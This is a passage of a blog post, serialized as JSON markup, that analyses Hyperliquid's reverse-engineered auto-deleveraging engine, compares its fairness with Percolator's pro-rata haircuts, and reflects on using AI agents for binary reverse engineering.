lue":22176},{"type":21,"tag":85,"props":164952,"children":164954},{"className":164953},[4803],[164955],{"type":21,"tag":85,"props":164956,"children":164958},{"className":164957,"style":93592},[4808],[164959],{"type":21,"tag":85,"props":164960,"children":164961},{},[],{"type":21,"tag":85,"props":164963,"children":164965},{"className":164964},[4776],[164966],{"type":26,"value":5349},{"type":21,"tag":85,"props":164968,"children":164970},{"className":164969},[4776],[164971,164976],{"type":21,"tag":85,"props":164972,"children":164974},{"className":164973,"style":122789},[4776,22016],[164975],{"type":26,"value":50027},{"type":21,"tag":85,"props":164977,"children":164979},{"className":164978},[4793],[164980],{"type":21,"tag":85,"props":164981,"children":164983},{"className":164982},[4798,22070],[164984,165013],{"type":21,"tag":85,"props":164985,"children":164987},{"className":164986},[4803],[164988,165008],{"type":21,"tag":85,"props":164989,"children":164991},{"className":164990,"style":94038},[4808],[164992],{"type":21,"tag":85,"props":164993,"children":164994},{"style":161737},[164995,164999],{"type":21,"tag":85,"props":164996,"children":164998},{"className":164997,"style":4818},[4817],[],{"type":21,"tag":85,"props":165000,"children":165002},{"className":165001},[4823,4824,4825,4826],[165003],{"type":21,"tag":85,"props":165004,"children":165006},{"className":165005},[4776,22016,4826],[165007],{"type":26,"value":3003},{"type":21,"tag":85,"props":165009,"children":165011},{"className":165010},[22173],[165012],{"type":26,"value":22176},{"type":21,"tag":85,"props":165014,"children":165016},{"className":165015},[4803],[165017],{"type":21,"tag":85,"props":165018,"children":165020},{"className":165019,"style":93592},[4808],[165021],{"type":21,"tag":85,"props":165022,"children":165023},{},[],{"type":26,"value":165025}," for each winner with ",{"type":21,"tag":66,"props":165027,"children":165029},{"className":165028},[4748,4749],[165030],{"type":21,"tag":85,"props":165031,"children":165033},{"className":165032},[4754],[165034],{"type":21,"tag":85,"props":165035,"children":165037},{"className":165036,"ariaHidden":4760},[4759],[165038,165117],{"type":21,"tag":85,"props":165039,"children":165041},{"className":165040},[4765],[165042,165047,165104,165108,165113],{"type":21,"tag":85,"props":165043,"children":165046},{"className":165044,"style":165045},[4770],"height:0.6891em;vertical-align:-0.15em;",[],{"type":21,"tag":85,"props":165048,"children":165050},{"className":165049},[4776],[165051,165056],{"type":21,"tag":85,"props":165052,"children":165054},{"className":165053,"style":122789},[4776,22016],[165055],{"type":26,"value":50027},{"type":21,"tag":85,"props":165057,"children":165059},{"className":165058},[4793],[165060],{"type":21,"tag":85,"props":165061,"children":165063},{"className":165062},[4798,22070],[165064,165093],{"type":21,"tag":85,"props":165065,"children":165067},{"className":165066},[4803],[165068,165088],{"type":21,"tag":85,"props":165069,"children":165071},{"className":165070,"style":94038},[4808],[165072],{"type":21,"tag":85,"props":165073,"children":165074},{"style":161737},[165075,165079],{"type":21,"tag":85,"props":165076,"children":165078},{"className":165077,"style":4818},[4817],[],{"type":21,"tag":85,"props":165080,"children":165082},{"className":165081},[4823,4824,4825,4826],[165083],{"type":21,"tag":85,"props":165084,"children":165086},{"className":165085},[4776,22016,4826],[165087],{"type":26,"value":3003},{"type":21,"tag":85,"props":165089,"children":165091},{"className":165090},[22173],[165092],{"type":26,"value":22176},{"type":21,"tag":85,"props":165094,"children":165096},{"className":165095},[4803],[165097],{"type":21,"tag":85,"props":165098,"children":165100},{"className":165099,"style":93592},[4808],[165101],{"type":21,"tag":85,"props":165102,"children":165103},{},[],{"type":21,"tag":85,"props":165105,"children":165107},{"className":165106,"style":4955},[4857],[],{"type":21,"tag":85,"props":165109,"children":165111},{"className":165110},[4960],[165112],{"type":26,"value":10877},{"type":21,"tag":85,"props":165114,"children":165116},{"className":165115,"style":4955},[4857],[],{"type":21,"tag":85,"props":165118,"children":165120},{"className":165119},[4765],[165121,165125],{"type":21,"tag":85,"props":165122,"children":165124},{"className":165123,"style":94540},[4770],[],{"type":21,"tag":85,"props":165126,"children":165128},{"className":165127},[4776],[165129],{"type":26,"value":4789},{"type":26,"value":165131}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":21,"tag":66,"props":165133,"children":165135},{"className":165134},[4748,4749],[165136],{"type":21,"tag":85,"props":165137,"children":165139},{"className":165138},[4754],[165140],{"type":21,"tag":85,"props":165141,"children":165143},{"className":165142,"ariaHidden":4760},[4759],[165144,165170],{"type":21,"tag":85,"props":165145,"children":165147},{"className":165146},[4765],[165148,165152,165157,165161,165166],{"type":21,"tag":85,"props":165149,"children":165151},{"className":165150,"style":22011},[4770],[],{"type":21,"tag":85,"props":165153,"children":165155},{"className":165154,"style":22017},[4776,22016],[165156],{"type":26,"value":122287},{"type":21,"tag":85,"props":165158,"children":165160},{"className":165159,"style":4955},[4857],[],{"type":21,"tag":85,"props":165162,"children":165164},{"className":165163},[4960],[165165],{"type":26,"value":741},{"type":21,"tag":85,"props":165167,"children":165169},{"className":165168,"style":4955},[4857],[],{"type":21,"tag":85,"props":165171,"children":165173},{"className":165172},[4765],[165174,165178],{"type":21,"tag":85,"props":165175,"children":165177},{"className":165176,"style":94540},[4770],[],{"type":21,"tag":85,"props":165179,"children":165181},{"className":165180},[4776],[165182],{"type":26,"value":4779},{"type":26,"value":165184}," means everyone loses the same fraction of their PNL. ",{"type":21,"tag":66,"props":165186,"children":165188},{"className":165187},[4748,4749],[165189],{"type":21,"tag":85,"props":165190,"children":165192},{"className":165191},[4754],[165193],{"type":21,"tag":85,"props":165194,"children":165196},{"className":165195,"ariaHidden":4760},[4759],[165197,165224],{"type":21,"tag":85,"props":165198,"children":165200},{"className":165199},[4765],[165201,165205,165210,165214,165220],{"type":21,"tag":85,"props":165202,"children":165204},{"className":165203,"style":22011},[4770],[],{"type":21,"tag":85,"props":165206,"children":165208},{"className":165207,"style":22017},[4776,22016],[165209],{"type":26,"value":122287},{"type":21,"tag":85,"props":165211,"children":165213},{"className":165212,"style":4955},[4857],[],{"type":21,"tag":85,"props":165215,"children":165217},{"className":165216},[4960],[165218],{"type":26,"value":165219},"≈",{"type":21,"tag":85,"props":165221,"children":165223},{"className":165222,"style":4955},[4857],[],{"type":21,"tag":85,"props":165225,"children":165227},{"className":165226},[4765],[165228,165232],{"type":21,"tag":85,"props":165229,"children":165231},{"className":165230,"style":94540},[4770],[],{"type":21,"tag":85,"props":165233,"children":165235},{"className":165234},[4776],[165236],{"type":26,"value":4789},{"type":26,"value":165238}," means a few get wiped while most are untouched.",{"type":21,"tag":845,"props":165240,"children":165241},{},[165242,165246,165247,165405,165407,165501,165503],{"type":21,"tag":39,"props":165243,"children":165244},{},[165245],{"type":26,"value":161341},{"type":26,"value":33357},{"type":21,"tag":66,"props":165248,"children":165250},{"className":165249},[4748,4749],[165251],{"type":21,"tag":85,"props":165252,"children":165254},{"className":165253},[4754],[165255],{"type":21,"tag":85,"props":165256,"children":165258},{"className":165257,"ariaHidden":4760},[4759],[165259],{"type":21,"tag":85,"props":165260,"children":165262},{"className":165261},[4765],[165263,165268,165343,165348],{"type":21,"tag":85,"props":165264,"children":165267},{"className":165265,"style":165266},[4770],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":21,"tag":85,"props":165269,"children":165271},{"className":165270},[4776],[165272,165277],{"type":21,"tag":85,"props":165273,"children":165275},{"className":165274,"style":95517},[4776,22016],[165276],{"type":26,"value":162066},{"type":21,"tag":85,"props":165278,"children":165280},{"className":165279},[4793],[165281],{"type":21,"tag":85,"props":165282,"children":165284},{"className":165283},[4798,22070],[165285,165331],{"type":21,"tag":85,"props":165286,"children":165288},{"className":165287},[4803],[165289,165326],{"type":21,"tag":85,"props":165290,"children":165292},{"className":165291,"style":109226},[4808],[165293,165310],{"type":21,"tag":85,"props":165294,"children":165296},{"style":165295},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[165297,165301],{"type":21,"tag":85,"props":165298,"children":165300},{"className":165299,"style":4818},[4817],[],{"type":21,"tag":85,"props":165302,"children":165304},{"className":165303},[4823,4824,4825,4826],[165305],{"type":21,"tag":85,"props":165306,"children":165308},{"className":165307,"style":22017},[4776,22016,4826],[165309],{"type":26,"value":308},{"type":21,"tag":85,"props":165311,"children":165312},{"style":4812},[165313,165317],{"type":21,"tag":85,"props":165314,"children":165316},{"className":165315,"style":4818},[4817],[],{"type":21,"tag":85,"props":165318,"children":165320},{"className":165319},[4823,4824,4825,4826],[165321],{"type":21,"tag":85,"props":165322,"children":165324},{"className":165323,"style":93995},[4776,22016,4826],[165325],{"type":26,"value":161580},{"type":21,"tag":85,"props":165327,"children":165329},{"className":165328},[22173],[165330],{"type":26,"value":22176},{"type":21,"tag":85,"props":165332,"children":165334},{"className":165333},[4803],[165335],{"type":21,"tag":85,"props":165336,"children":165339},{"className":165337,"style":165338},[4808],"height:0.2753em;",[165340],{"type":21,"tag":85,"props":165341,"children":165342},{},[],{"type":21,"tag":85,"props":165344,"children":165346},{"className":165345},[4776],[165347],{"type":26,"value":5349},{"type":21,"tag":85,"props":165349,"children":165351},{"className":165350},[4776],[165352,165357],{"type":21,"tag":85,"props":165353,"children":165355},{"className":165354,"style":95517},[4776,22016],[165356],{"type":26,"value":162066},{"type":21,"tag":85,"props":165358,"children":165360},{"className":165359},[4793],[165361],{"type":21,"tag":85,"props":165362,"children":165364},{"className":165363},[4798,22070],[165365,165394],{"type":21,"tag":85,"props":165366,"children":165368},{"className":165367},[4803],[165369,165389],{"type":21,"tag":85,"props":165370,"children":165372},{"className":165371,"style":143064},[4808],[165373],{"type":21,"tag":85,"props":165374,"children":165375},{"style":162085},[165376,165380],{"type":21,"tag":85,"props":165377,"children":165379},{"className":165378,"style":4818},[4817],[],{"type":21,"tag":85,"props":165381,"children":165383},{"className":165382},[4823,4824,4825,4826],[165384],{"type":21,"tag":85,"props":165385,"children":165387},{"className":165386,"style":22017},[4776,22016,4826],[165388],{"type":26,"value":308},{"type":21,"tag":85,"props":165390,"children":165392},{"className":165391},[22173],[165393],{"type":26,"value":22176},{"type":21,"tag":85,"props":165395,"children":165397},{"className":165396},[4803],[165398],{"type":21,"tag":85,"props":165399,"children":165401},{"className":165400,"style":93592},[4808],[165402],{"type":21,"tag":85,"props":165403,"children":165404},{},[],{"type":26,"value":165406}," — ",{"type":21,"tag":66,"props":165408,"children":165410},{"className":165409},[4748,4749],[165411],{"type":21,"tag":85,"props":165412,"children":165414},{"className":165413},[4754],[165415],{"type":21,"tag":85,"props":165416,"children":165418},{"className":165417,"ariaHidden":4760},[4759],[165419],{"type":21,"tag":85,"props":165420,"children":165422},{"className":165421},[4765],[165423,165428],{"type":21,"tag":85,"props":165424,"children":165427},{"className":165425,"style":165426},[4770],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":21,"tag":85,"props":165429,"children":165431},{"className":165430},[4776],[165432,165437],{"type":21,"tag":85,"props":165433,"children":165435},{"className":165434,"style":95517},[4776,22016],[165436],{"type":26,"value":162066},{"type":21,"tag":85,"props":165438,"children":165440},{"className":165439},[4793],[165441],{"type":21,"tag":85,"props":165442,"children":165444},{"className":165443},[4798,22070],[165445,165490],{"type":21,"tag":85,"props":165446,"children":165448},{"className":165447},[4803],[165449,165485],{"type":21,"tag":85,"props":165450,"children":165452},{"className":165451,"style":109226},[4808],[165453,165469],{"type":21,"tag":85,"props":165454,"children":165455},{"style":165295},[165456,165460],{"type":21,"tag":85,"props":165457,"children":165459},{"className":165458,"style":4818},[4817],[],{"type":21,"tag":85,"props":165461,"children":165463},{"className":165462},[4823,4824,4825,4826],[165464],{"type":21,"tag":85,"props":165465,"children":165467},{"className":165466,"style":22017},[4776,22016,4826],[165468],{"type":26,"value":308},{"type":21,"tag":85,"props":165470,"children":165471},{"style":4812},[165472,165476],{"type":21,"tag":85,"props":165473,"children":165475},{"className":165474,"style":4818},[4817],[],{"type":21,"tag":85,"props":165477,"children":165479},{"className":165478},[4823,4824,4825,4826],[165480],{"type":21,"tag":85,"props":165481,"children":165483},{"className":165482,"style":93995},[4776,22016,4826],[165484],{"type":26,"value":161580},{"type":21,"tag":85,"props":165486,"children":165488},{"className":165487},[22173],[165489],{"type":26,"value":22176},{"type":21,"tag":85,"props":165491,"children":165493},{"className":165492},[4803],[165494],{"type":21,"tag":85,"props":165495,"children":165497},{"className":165496,"style":165338},[4808],[165498],{"type":21,"tag":85,"props":165499,"children":165500},{},[],{"type":26,"value":165502}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":21,"tag":66,"props":165504,"children":165506},{"className":165505},[4748,4749],[165507],{"type":21,"tag":85,"props":165508,"children":165510},{"className":165509},[4754],[165511],{"type":21,"tag":85,"props":165512,"children":165514},{"className":165513,"ariaHidden":4760},[4759],[165515],{"type":21,"tag":85,"props":165516,"children":165518},{"className":165517},[4765],[165519,165523],{"type":21,"tag":85,"props":165520,"children":165522},{"className":165521,"style":111350},[4770],[],{"type":21,"tag":85,"props":165524,"children":165526},{"className":165525,"style":93995},[4776,22016],[165527],{"type":26,"value":161580},{"type":21,"tag":22,"props":165529,"children":165530},{},[165531],{"type":26,"value":165532},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":21,"tag":165534,"props":165535,"children":165537},"git-hub-repo-link",{"url":165536},"https://github.com/aeyakovenko/percolator",[],{"type":21,"tag":22,"props":165539,"children":165540},{},[165541,165543,165548],{"type":26,"value":165542},"Given a fixed ",{"type":21,"tag":39,"props":165544,"children":165545},{},[165546],{"type":26,"value":165547},"a priori",{"type":26,"value":165549}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":21,"tag":22,"props":165551,"children":165552},{},[165553,165555,165560,165562,165639],{"type":26,"value":165554},"One prediction that we can make is that Percolator is ",{"type":21,"tag":39,"props":165556,"children":165557},{},[165558],{"type":26,"value":165559},"perfectly fair",{"type":26,"value":165561}," according to this scoring: the ",{"type":21,"tag":66,"props":165563,"children":165565},{"className":165564},[4748,4749],[165566],{"type":21,"tag":85,"props":165567,"children":165569},{"className":165568},[4754],[165570],{"type":21,"tag":85,"props":165571,"children":165573},{"className":165572,"ariaHidden":4760},[4759],[165574],{"type":21,"tag":85,"props":165575,"children":165577},{"className":165576},[4765],[165578,165582],{"type":21,"tag":85,"props":165579,"children":165581},{"className":165580,"style":142788},[4770],[],{"type":21,"tag":85,"props":165583,"children":165585},{"className":165584},[4776],[165586,165591],{"type":21,"tag":85,"props":165587,"children":165589},{"className":165588},[4776,22016],[165590],{"type":26,"value":84807},{"type":21,"tag":85,"props":165592,"children":165594},{"className":165593},[4793],[165595],{"type":21,"tag":85,"props":165596,"children":165598},{"className":165597},[4798,22070],[165599,165628],{"type":21,"tag":85,"props":165600,"children":165602},{"className":165601},[4803],[165603,165623],{"type":21,"tag":85,"props":165604,"children":165606},{"className":165605,"style":94038},[4808],[165607],{"type":21,"tag":85,"props":165608,"children":165609},{"style":93565},[165610,165614],{"type":21,"tag":85,"props":165611,"children":165613},{"className":165612,"style":4818},[4817],[],{"type":21,"tag":85,"props":165615,"children":165617},{"className":165616},[4823,4824,4825,4826],[165618],{"type":21,"tag":85,"props":165619,"children":165621},{"className":165620},[4776,22016,4826],[165622],{"type":26,"value":3003},{"type":21,"tag":85,"props":165624,"children":165626},{"className":165625},[22173],[165627],{"type":26,"value":22176},{"type":21,"tag":85,"props":165629,"children":165631},{"className":165630},[4803],[165632],{"type":21,"tag":85,"props":165633,"children":165635},{"className":165634,"style":93592},[4808],[165636],{"type":21,"tag":85,"props":165637,"children":165638},{},[],{"type":26,"value":165640}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":21,"tag":22,"props":165642,"children":165643},{},[165644,165646,165651],{"type":26,"value":165645},"We are ignoring the ",{"type":21,"tag":39,"props":165647,"children":165648},{},[165649],{"type":26,"value":165650},"a posteriori",{"type":26,"value":165652}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":21,"tag":22,"props":165654,"children":165655},{},[165656],{"type":26,"value":165657},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":21,"tag":54,"props":165659,"children":165661},{"id":165660},"simulations",[165662],{"type":26,"value":165663},"Simulations",{"type":21,"tag":22,"props":165665,"children":165666},{},[165667],{"type":26,"value":165668},"Let's consider the following price scenarios, as we said:",{"type":21,"tag":22,"props":165670,"children":165671},{},[165672],{"type":21,"tag":4681,"props":165673,"children":165676},{"alt":165674,"src":165675},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":21,"tag":22,"props":165678,"children":165679},{},[165680],{"type":26,"value":165681},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":21,"tag":22,"props":165683,"children":165684},{},[165685],{"type":21,"tag":4681,"props":165686,"children":165689},{"alt":165687,"src":165688},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":21,"tag":10022,"props":165691,"children":165693},{"id":165692},"percolator-is-more-optimistic",[165694],{"type":26,"value":165695},"Percolator Is More \"Optimistic\"",{"type":21,"tag":22,"props":165697,"children":165698},{},[165699,165701,165706,165708,165713,165715,165721,165723,165728],{"type":26,"value":165700},"The key difference is what happens to positions. ADL ",{"type":21,"tag":39,"props":165702,"children":165703},{},[165704],{"type":26,"value":165705},"permanently closes",{"type":26,"value":165707}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":21,"tag":39,"props":165709,"children":165710},{},[165711],{"type":26,"value":165712},"withdraw",{"type":26,"value":165714},", but the position stays open. If conditions improve, ",{"type":21,"tag":66,"props":165716,"children":165718},{"className":165717},[],[165719],{"type":26,"value":165720},"Residual",{"type":26,"value":165722}," goes up, ",{"type":21,"tag":66,"props":165724,"children":165726},{"className":165725},[],[165727],{"type":26,"value":84807},{"type":26,"value":165729}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":21,"tag":22,"props":165731,"children":165732},{},[165733,165735,165739],{"type":26,"value":165734},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":21,"tag":39,"props":165736,"children":165737},{},[165738],{"type":26,"value":20614},{"type":26,"value":165740}," per position, though the tradeoff is that fewer traders get to participate.",{"type":21,"tag":22,"props":165742,"children":165743},{},[165744],{"type":21,"tag":4681,"props":165745,"children":165748},{"alt":165746,"src":165747},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":21,"tag":54,"props":165750,"children":165752},{"id":165751},"some-points-to-be-made",[165753],{"type":26,"value":165754},"Some Points to Be Made",{"type":21,"tag":10022,"props":165756,"children":165758},{"id":165757},"percolator-is-indifferent-to-leverage",[165759],{"type":26,"value":165760},"Percolator Is Indifferent to Leverage",{"type":21,"tag":22,"props":165762,"children":165763},{},[165764],{"type":26,"value":165765},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":21,"tag":22,"props":165767,"children":165768},{},[165769],{"type":21,"tag":4681,"props":165770,"children":165773},{"alt":165771,"src":165772},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":21,"tag":10022,"props":165775,"children":165777},{"id":165776},"fairness",[165778],{"type":26,"value":161331},{"type":21,"tag":22,"props":165780,"children":165781},{},[165782],{"type":26,"value":165783},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":21,"tag":22,"props":165785,"children":165786},{},[165787],{"type":21,"tag":4681,"props":165788,"children":165791},{"alt":165789,"src":165790},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":21,"tag":22,"props":165793,"children":165794},{},[165795,165797,165802],{"type":26,"value":165796},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":21,"tag":66,"props":165798,"children":165800},{"className":165799},[],[165801],{"type":26,"value":159833},{"type":26,"value":165803}," we start by fully closing the worst position against the best-performing trader.",{"type":21,"tag":54,"props":165805,"children":165807},{"id":165806},"strengths-and-limitations-of-agents-for-reverse-engineering",[165808],{"type":26,"value":165809},"Strengths and Limitations of Agents for Reverse Engineering",{"type":21,"tag":22,"props":165811,"children":165812},{},[165813],{"type":26,"value":165814},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":21,"tag":10022,"props":165816,"children":165818},{"id":165817},"hooks",[165819],{"type":26,"value":165820},"Hooks",{"type":21,"tag":22,"props":165822,"children":165823},{},[165824,165826,165830],{"type":26,"value":165825},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":21,"tag":39,"props":165827,"children":165828},{},[165829],{"type":26,"value":165817},{"type":26,"value":165831},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":21,"tag":22,"props":165833,"children":165834},{},[165835],{"type":26,"value":165836},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":21,"tag":10022,"props":165838,"children":165840},{"id":165839},"scale",[165841],{"type":26,"value":165842},"Scale",{"type":21,"tag":22,"props":165844,"children":165845},{},[165846],{"type":26,"value":165847},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":21,"tag":22,"props":165849,"children":165850},{},[165851],{"type":26,"value":165852},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":21,"tag":10022,"props":165854,"children":165856},{"id":165855},"whats-next",[165857],{"type":26,"value":165858},"What's next?",{"type":21,"tag":22,"props":165860,"children":165861},{},[165862],{"type":26,"value":165863},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":21,"tag":165534,"props":165865,"children":165866},{"url":159494},[],{"type":21,"tag":22,"props":165868,"children":165869},{},[165870],{"type":26,"value":165871},"The analyzed binary can be found here:",{"type":21,"tag":159814,"props":165873,"children":165876},{"path":165874,"name":159418,"size":165875},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":21,"tag":10022,"props":165878,"children":165880},{"id":165879},"closing-words",[165881],{"type":26,"value":165882},"Closing Words",{"type":21,"tag":22,"props":165884,"children":165885},{},[165886],{"type":26,"value":165887},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":21,"tag":22,"props":165889,"children":165890},{},[165891,165893,165898],{"type":26,"value":165892},"Flagship models got us 60% of the way there, but a lot of ",{"type":21,"tag":39,"props":165894,"children":165895},{},[165896],{"type":26,"value":165897},"manual",{"type":26,"value":165899}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":21,"tag":22,"props":165901,"children":165902},{},[165903],{"type":26,"value":165904},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":21,"tag":22,"props":165906,"children":165907},{},[165908],{"type":26,"value":165909},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":21,"tag":165911,"props":165912,"children":165913},"report-footnotes",{},[165914],{"type":21,"tag":841,"props":165915,"children":165916},{},[165917,165922,165949,165954,165959],{"type":21,"tag":845,"props":165918,"children":165919},{},[165920],{"type":26,"value":165921},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":21,"tag":845,"props":165923,"children":165924},{},[165925,165931,165933,165939,165941,165947],{"type":21,"tag":66,"props":165926,"children":165928},{"className":165927},[],[165929],{"type":26,"value":165930},"compute_user_margin_and_shortfall",{"type":26,"value":165932}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":21,"tag":66,"props":165934,"children":165936},{"className":165935},[],[165937],{"type":26,"value":165938},"0x748",{"type":26,"value":165940}," in the abstract expressions of ",{"type":21,"tag":66,"props":165942,"children":165944},{"className":165943},[],[165945],{"type":26,"value":165946},"btree_cursor",{"type":26,"value":165948},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":21,"tag":845,"props":165950,"children":165951},{},[165952],{"type":26,"value":165953},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":21,"tag":845,"props":165955,"children":165956},{},[165957],{"type":26,"value":165958},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":21,"tag":845,"props":165960,"children":165961},{},[165962,165964,165970],{"type":26,"value":165963},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":21,"tag":66,"props":165965,"children":165967},{"className":165966},[],[165968],{"type":26,"value":165969},"s3://hl-mainnet-node-data/explorer_blocks",{"type":26,"value":73},{"title":7,"searchDepth":98,"depth":98,"links":165972},[165973,165974,165975,165976,165977,165980,165981,165982,165985,165986,165989,165993],{"id":159364,"depth":98,"text":159367},{"id":159357,"depth":98,"text":159385},{"id":159442,"depth":98,"text":159445},{"id":159723,"depth":98,"text":159726},{"id":159757,"depth":98,"text":159760,"children":165978},[165979],{"id":159896,"depth":151,"text":159899},{"id":160675,"depth":98,"text":160678},{"id":160771,"depth":98,"text":160774},{"id":160989,"depth":98,"text":160992,"children":165983},[165984],{"id":161234,"depth":151,"text":161237},{"id":161294,"depth":98,"text":161297},{"id":165660,"depth":98,"text":165663,"children":165987},[165988],{"id":165692,"depth":151,"text":165695},{"id":165751,"depth":98,"text":165754,"children":165990},[165991,165992],{"id":165757,"depth":151,"text":165760},{"id":165776,"depth":151,"text":161331},{"id":165806,"depth":98,"text":165809,"children":165994},[165995,165996,165997,165998],{"id":165817,"depth":151,"text":165820},{"id":165839,"depth":151,"text":165842},{"id":165855,"depth":151,"text":165858},{"id":165879,"depth":151,"text":165882},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630598]